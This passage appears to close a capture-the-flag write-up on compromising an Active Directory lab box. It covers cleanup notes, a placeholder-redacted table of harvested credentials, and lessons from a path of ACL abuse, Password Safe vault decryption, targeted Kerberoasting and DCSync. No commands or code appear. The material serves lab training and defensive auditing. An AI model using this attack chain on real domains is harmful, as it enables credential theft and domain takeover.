  • Stopping systemd-timesyncd and changing the attacking machine’s clock: re-enable normal time synchronization and confirm the correct time. No restoration result was recorded.
  • Obtained Password Safe file, TGS, hashes, Kerberos keys, and BloodHound data: remove them from secure storage and check shell history and temporary files. No deletion result was recorded.
Credential / artifactSourceFirst useScope of access
Olivia / <INITIAL_PASSWORD>Supplied at the start of the boxSMB, LDAP, WinRM, BloodHoundInitial AD enumeration
Michael / <NEW_MICHAEL_PASSWORD>Changed through Olivia’s GenericAllChange Benjamin’s passwordACL operations as Michael
Benjamin / <NEW_BENJAMIN_PASSWORD>Michael’s ForceChangePasswordFTPFTP read access; direct causal link to group settings unconfirmed
Password Safe master passwordDecryption information from the FTP backupDecrypt the vaultNot an AD logon password
Alexander/Emma/Emily valuesDecrypted vault entriesVerify Emily’s value in ADEmily’s AD authentication
Ethan / <ETHAN_PASSWORD>Targeted Kerberoasting and HashcatSMB/LDAP and DCSyncDomain replication
Administrator / <ADMIN_NTLM> and Kerberos keysDCSyncFinal resultAdministrator authentication material
user flagEmily’s WinRM sessionC:\Users\emily\Desktop\user.txtValue omitted from the writeup

Required knowledge includes Active Directory LDAP/RID/ACL, BloodHound control edges, IIS FTP and NTFS ACLs, Password Safe V3 encrypted vaults, Kerberos SPN/TGS and time synchronization, offline hash analysis, DCSync over DRSUAPI/MS-DRSR, and Windows audit events 4724/4769/5136/4662.

  1. Do not judge a custom group by its name; check how service authorization, share ACLs, and NTFS ACLs reference it.
  2. Distinguish the vault decryption password from the AD credentials inside it, and verify each obtained value separately.
  3. BloodHound’s GenericAll, GenericWrite, and ForceChangePassword may look similar but allow different operations. Failed commands and errors can correct an edge interpretation.
  4. Add a temporary SPN without damaging existing values, and remove only the value added. A TGS does not guarantee a crack if the password is strong.
  5. DCSync rights apply to the domain Naming Context, not the individual Administrator user. Assess GetChanges and GetChangesAll separately.
  6. Obtaining authentication material and reading the system flag are distinct verification points; do not claim the latter without a record.

The shortest path was to inspect ACLs from the starting credentials, use the FTP backup as a source of credentials, correctly turn GenericWrite into an SPN change, and use Ethan’s replication rights for a targeted DCSync. The reusable lessons are to verify rather than assume a right based on its name when a command fails, connect service access and AD rights as separate layers, and always audit Inbound Control Rights over Tier 0 principals in reverse.